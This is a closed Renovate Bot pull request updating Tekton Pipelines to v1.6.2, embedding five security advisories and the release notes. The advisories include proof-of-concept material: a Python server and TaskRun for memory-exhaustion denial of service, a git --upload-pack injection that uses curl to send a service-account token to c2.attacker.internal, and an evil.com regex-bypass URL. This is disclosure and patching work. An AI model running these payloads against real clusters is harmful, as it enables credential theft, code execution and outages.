Skip to content

fix(deps): update module github.com/tektoncd/pipeline to v1.6.2 [security] (alauda-v0.41.1)#165

Closed
alaudaa-renovate[bot] wants to merge 1 commit into
alauda-v0.41.1from
renovate/alauda-v0.41.1-go-github.com-tektoncd-pipeline-vulnerability
Closed

fix(deps): update module github.com/tektoncd/pipeline to v1.6.2 [security] (alauda-v0.41.1)#165
alaudaa-renovate[bot] wants to merge 1 commit into
alauda-v0.41.1from
renovate/alauda-v0.41.1-go-github.com-tektoncd-pipeline-vulnerability

Conversation

@alaudaa-renovate

@alaudaa-renovate alaudaa-renovate Bot commented May 28, 2026 •
edited
Loading

Copy link
Copy Markdown

This PR contains the following updates:

Package Change Age Confidence
github.com/tektoncd/pipeline v1.6.1 -> v1.6.2 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Tekton Pipelines: VolumeMount path restriction bypass via missing filepath.Clean in /tekton/ check

CVE-2026-40923 / GHSA-rx35-6rhx-7858

More information

Details

Summary

A validation bypass in the VolumeMount path restriction allows mounting
volumes under restricted /tekton/ internal paths by using .. path
traversal components. The restriction check uses strings.HasPrefix
without filepath.Clean, so a path like /tekton/home/../results
passes validation but resolves to /tekton/results at runtime.

Details

Tekton Pipelines restricts VolumeMount paths under /tekton/ (except
/tekton/home) to prevent users from interfering with internal
execution state. The validation at
pkg/apis/pipeline/v1/container_validation.go checks mount paths using
strings.HasPrefix without normalizing the path first:

if strings.HasPrefix(vm.MountPath, "/tekton/") &&
    !strings.HasPrefix(vm.MountPath, "/tekton/home") {
    // reject
}

Because /tekton/home is an allowed prefix, a path like
/tekton/home/../results passes both checks. At runtime, the container
runtime resolves .. and the actual mount point becomes
/tekton/results.

The same pattern exists in pkg/apis/pipeline/v1beta1/task_validation.go.

Impact

An authenticated user with Task or TaskRun creation permissions can
mount volumes over internal Tekton paths, potentially:

  • Writing fake task results that downstream pipelines trust
  • Reading or modifying step scripts before execution
  • Interfering with entrypoint coordination state
Patches

(to be filled: fixed in versions X.Y.Z)

Workarounds
  • Use admission controllers (OPA/Gatekeeper, Kyverno) to validate that
    VolumeMount paths do not contain .. components.
  • In multi-tenant setups, restrict who can create Task and TaskRun
    resources via RBAC.
Affected Versions

All versions through v1.10.0 (both v1 and v1beta1 APIs).

Acknowledgments

This vulnerability was reported by @​kodareef5.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion

CVE-2026-40924 / GHSA-m2cx-gpqf-qf74

More information

Details

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()

    body, err := io.ReadAll(resp.Body)  // ← no size limit
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC
##### Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed — completes in <60s on a local network
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)

    def log_message(self, *args):
        pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
    httpd.serve_forever()
EOF

##### Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: dos-poc
  namespace: default
spec:
  taskRef:
    resolver: http
    params:
      - name: url
        value: http://attacker-server.internal:8080/large-payload
EOF

##### Expected result: tekton-pipelines-resolvers pod is OOM-killed.

##### All resolver types in the cluster (git, hub, bundle, cluster, http)
##### become unavailable until Kubernetes restarts the pod.

##### Repeated submission causes a crash loop that continuously disrupts
##### resolution for all tenants in the cluster.

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact
  • Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
  • Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
  • Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.
Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):

const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB

// In FetchHttpResource, replace:
//   body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
        maxBytes = parsed
    }
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
    return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
    return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}

This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Tekton Pipelines: Git resolver API mode leaks system-configured API token to user-controlled serverURL

CVE-2026-40161 / GHSA-wjxp-xrpv-xpff

More information

Details

Summary

The Tekton Pipelines git resolver in API mode sends the system-configured Git API token to a user-controlled serverURL when the user omits the token parameter. A tenant with TaskRun or PipelineRun create permission can exfiltrate the shared API token (GitHub PAT, GitLab token, etc.) by pointing serverURL to an attacker-controlled endpoint.

Details

The git resolver's ResolveAPIGit() function in pkg/resolution/resolver/git/resolver.go constructs an SCM client using the user-supplied serverURL and a token obtained via getAPIToken().

When the user provides serverURL but omits the token parameter:

  1. getSCMTypeAndServerURL() reads serverURL directly from user params (params[ServerURLParam]) with no validation against the system-configured URL.

  2. secretRef is set to nil because the user did not provide a token parameter.

  3. getAPIToken(ctx, nil, APISecretNameKey) is called. It detects apiSecret == nil, creates a new secretCacheKey, and populates it from the system-configured secret (conf.APISecretName / conf.APISecretNamespace / SYSTEM_NAMESPACE).

  4. clientFunc(scmType, serverURL, string(apiToken)) creates an SCM client pointed at the attacker-controlled URL with the system token. The SCM factory sets the token as an Authorization header on the HTTP client.

  5. All subsequent API calls (Contents.Find, Git.FindCommit) carry the system token to the attacker URL.

Impact

The system Git API token (GitHub PAT, GitLab token, etc.) is exfiltrated to an attacker-controlled endpoint. This token typically has read access to private repositories containing source code, secrets, and CI/CD configurations.

This follows the same threat model as GHSA-j5q5-j9gm-2w5c (published March 2026): a namespace-scoped tenant with permission to create TaskRuns exploits the git resolver to exfiltrate credentials. The prior advisory involved reading the resolver pod's ServiceAccount token via path traversal. This finding involves redirecting the system Git API token via serverURL.

Patches

Fixed in:

  • v1.0.2 (release-v1.0.x branch)
  • v1.3.4 (release-v1.3.x branch)
  • v1.6.2 (release-v1.6.x branch)
  • v1.9.3 (release-v1.9.x branch)
  • v1.11.1 (release-v1.11.x branch)

The fix validates that when serverURL is user-provided and differs from the system-configured server URL, the user must also provide their own token parameter. Using the system token with a non-system server URL is rejected.

Workarounds
  • Do not configure a system-level API token in the git resolver ConfigMap. Instead, require all users to provide their own tokens via the token parameter.
  • Restrict TaskRun creation — limit which users or ServiceAccounts can create TaskRuns and PipelineRuns that use the git resolver.
  • Network egress policies — apply NetworkPolicy to the tekton-pipelines-resolvers namespace to restrict outbound traffic to known-good Git servers only.
Affected Versions

All releases from v1.0.0 through v1.10.0, including all patch releases. The API mode of the git resolver has been present since the resolver was introduced.

Releases prior to v1.0.0 are not affected because the git resolver either did not exist or did not have API mode.

Acknowledgments

This vulnerability was reported by Koda Reef (@​kodareef5), who provided a detailed analysis and proof-of-concept. Thank you!

References
  • Prior advisory: GHSA-j5q5-j9gm-2w5c
  • Related: #​9608 (deprecate api-token-secret-namespace)
  • Related: #​9609 (SubjectAccessReview for resolver secrets)

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Tekton Pipelines has VerificationPolicy regex pattern bypass via substring matching

CVE-2026-25542 / GHSA-rmx9-2pp3-xhcr

More information

Details

hey guys,

triage contract
this is a first-screen summary; deterministic proof is in the proof bundle (canonical.log/control.log/witness.txt).

summary
trusted resources verification policies match a resource source string (refSource.URI) against spec.resources[].pattern using regexp.MatchString. in go, regexp.MatchString reports a match if the pattern matches anywhere in the string, so common unanchored patterns (including examples in tekton documentation) can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. this can cause an unintended policy match and change which verification mode/keys apply.

pins

severity
MEDIUM (provisional CVSS 5.3–6.5) (signing request tampering)

repro (canonical)

  • command: unzip -q -o poc.zip -d poc && cd poc/poc-F-TEKTON-REGEX-001 && make canonical
  • expected: cap not reached; canonical does not emit the vulnerability markers.
  • actual: cap reached; canonical emits the vulnerability markers.
  • canonical markers (mandatory): [CALLSITE_HIT] + [PROOF_MARKER]

negative control

  • command: unzip -q -o poc.zip -d poc && cd poc/poc-F-TEKTON-REGEX-001 && make control
  • expected: cap not reached under the same harness; control emits the control marker and does not emit the vulnerability markers.
  • control markers (mandatory): [CALLSITE_HIT] + [NC_MARKER]

fix
consider making matching safe-by-default by requiring full-string matches (or validating patterns and documenting substring semantics clearly). one option is to anchor patterns before matching (e.g., wrap pattern as ^(?:pattern)$ when not already anchored), or to provide a separate field for exact match vs regex match.
fix accepted when: under the same harness, canonical still hits [CALLSITE_HIT] but does not emit [PROOF_MARKER].

proof bundle pointers

  • bundle: poc.zip
  • bundle convention: zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions
  • contains: canonical.log, control.log, witness.txt
  • extracted paths: after extraction, see ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt
  • verify: compare shasum -a 256 for canonical.log/control.log/fix.patch/test source against witness.txt
  • supported-mode note: if your supported integration uses verified https app-links/universal links only, provide the supported tag/branch and we can retest on that pin.

poc.zip

impact
an attacker can craft a trusted resources source string that embeds a trusted substring and still matches an unanchored verificationpolicy spec.resources[].pattern, even if the policy is intended to constrain matches to a specific trusted source. this occurs because regexp.MatchString succeeds on substring matches, so patterns like https://github.com/tektoncd/catalog.git match attacker-controlled sources such as https://evil.com/?x=https://github.com/tektoncd/catalog.git.

affected: deployments using trusted resources verification with unanchored verificationpolicy patterns, where an attacker can influence the refSource.URI value used for policy matching.

not affected: deployments that anchor all patterns (^...$) or otherwise enforce full-string matching; deployments where attackers cannot influence refSource.URI.

steps to reproduce

unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001
cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001
bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log
bash ./run.sh control | tee /tmp/tekton-regex-001-control.log
grep -n '\\[PROOF_MARKER\\]' /tmp/tekton-regex-001-canonical.log && grep -n '\\[NC_MARKER\\]' /tmp/tekton-regex-001-control.log && ! grep -n '\\[PROOF_MARKER\\]' /tmp/tekton-regex-001-control.log

suggested patch options:

  • make matching safe-by-default by anchoring patterns before matching (or by validating and rejecting unanchored patterns).
  • document the substring semantics explicitly and update documentation examples to include anchors.

workarounds
anchor verificationpolicy resource patterns so they must match the full source string. example:

  • ^https://github.com/tektoncd/catalog\\.git$

best,
oleh

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

CVE-2026-40938 / GHSA-94jr-7pqp-xhcq

More information

Details

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details
Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

// pkg/resolution/resolver/git/repository.go lines 84-96
// 'revision' is the raw user-supplied string from the ResolutionRequest param.
// It is passed verbatim as a positional argument to git fetch:
func (repo *repository) checkout(ctx context.Context, revision string) error {
    _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")
    // When revision == "--upload-pack=/usr/bin/curl", git parses it as the
    // --upload-pack flag, not as a refspec — executing the binary locally.
    if err != nil {
        return fmt.Errorf("fetch: %w", err)
    }
    _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")
    return err
}

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

// validateRepoURL validates if the given URL is a valid git, http, https URL or
// starting with a / (a local repository).
func validateRepoURL(url string) bool {
    pattern := `^(/|[^@&#8203;]+@&#8203;[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

  • A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
  • A default-URL configuration pointing at a local path
PoC
##### Step 1: Set up a local git repository to serve as the "origin"
##### (in a real attack, the attacker would time this against a concurrent clone

##### or use any pre-existing git repo path on the resolver pod)
git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

##### Step 2: Craft a ResolutionRequest with injected --upload-pack flag
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
  name: revision-injection-poc
  namespace: default
  labels:
    resolution.tekton.dev/type: git
spec:
  params:
    - name: url
      value: /tmp/localrepo
    - name: revision
      value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
    - name: pathInRepo
      value: README.md
EOF

##### The resolver pod executes:

##### git -C <tmpdir> fetch origin \
#####   "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \

#####   --depth=1
#

##### For single-argument binaries (/bin/sh, /usr/bin/env, etc.):
##### git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1

##### Executes /bin/sh with the local repository path as argv[1].
##### From /bin/sh, the attacker can use a pre-staged script (e.g., written

##### via a workspace volume) to achieve arbitrary command execution.

Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.

Impact
  • Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod.
  • Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.
  • Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.
  • Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.
Recommended Fix

Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:

if strings.HasPrefix(paramsMap[RevisionParam], "-") {
    return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam])
}

Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):

func validateRepoURL(url string) bool {
    pattern := `^([^@&#8203;]+@&#8203;[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

tektoncd/pipeline (github.com/tektoncd/pipeline)

v1.6.2: Tekton Pipeline release v1.6.2 "Sphynx Sentinels"

Compare Source

-Docs @​ v1.6.2
-Examples @​ v1.6.2

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.6.2/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677a7755d52e49ce9ea7ccaf894ffae2779afa04cf7d882635593a2c220a5c7a0a26

Obtain the attestation:

REKOR_UUID=108e9186e8c5677a7755d52e49ce9ea7ccaf894ffae2779afa04cf7d882635593a2c220a5c7a0a26
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.6.2/release.yaml
REKOR_UUID=108e9186e8c5677a7755d52e49ce9ea7ccaf894ffae2779afa04cf7d882635593a2c220a5c7a0a26

### Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.6.2@&#8203;sha256:" + .digest.sha256')

### Download the release file
curl -L "$RELEASE_FILE" > release.yaml

### For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ===> ok" || echo " ===> no match";
done

Changes

⚠️ Security Fixes

  • GHSA-wjxp-xrpv-xpff / CVE-2026-40161 (HIGH): Git resolver API mode leaks system-configured API token to user-controlled serverURL. A user who can create TaskRuns can exfiltrate the system Git API token by pointing the resolver at an attacker-controlled server.

  • GHSA-94jr-7pqp-xhcq / CVE-2026-40938 (HIGH): Git resolver unsanitized revision parameter enables argument injection. A malicious revision value can inject arbitrary flags into the git CLI, potentially leading to remote code execution on the resolver pod.

  • GHSA-rx35-6rhx-7858 / CVE-2026-40923 (Medium): VolumeMount path restriction bypass via missing filepath normalization. Paths like /tekton/../sensitive bypass the /tekton/ prefix restriction check.

  • GHSA-rmx9-2pp3-xhcr / CVE-2026-25542 (Medium): VerificationPolicy regex pattern bypass via substring matching. Unanchored patterns allow partial matches, letting unsigned resources pass verification.

  • GHSA-m2cx-gpqf-qf74 / CVE-2026-40924 (Medium): HTTP resolver unbounded response body read enables OOM denial of service. A malicious URL returning a very large response can exhaust the resolver pod's memory. Response body is now limited to 1 MiB.

Fixes
  • 🐛 Pin registry image and relax log-based cache assertion
  • 🐛 Bump Go to 1.24.13 to fix CVE-2025-61728, CVE-2025-61726, CVE-2025-61729
  • 🐛 Fix TextParser struct usage for prometheus/common v0.62.0 compatibility
  • 🐛 Remove corrupted resolver cache entries on type error
  • 🐛 Resolve resolver cache race condition with singleflight
  • 🐛 Align resolver cache configstore with framework implementation

Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Shanghai, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@l-qing l-qing closed this Jun 8, 2026
@l-qing l-qing deleted the renovate/alauda-v0.41.1-go-github.com-tektoncd-pipeline-vulnerability branch June 8, 2026 13:24
@alaudaa-renovate

alaudaa-renovate Bot commented Jun 8, 2026

Copy link
Copy Markdown
Author

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (v1.6.2). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

@yuzichen12123 yuzichen12123

Labels

dependencies

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

2 participants

@l-qing @yuzichen12123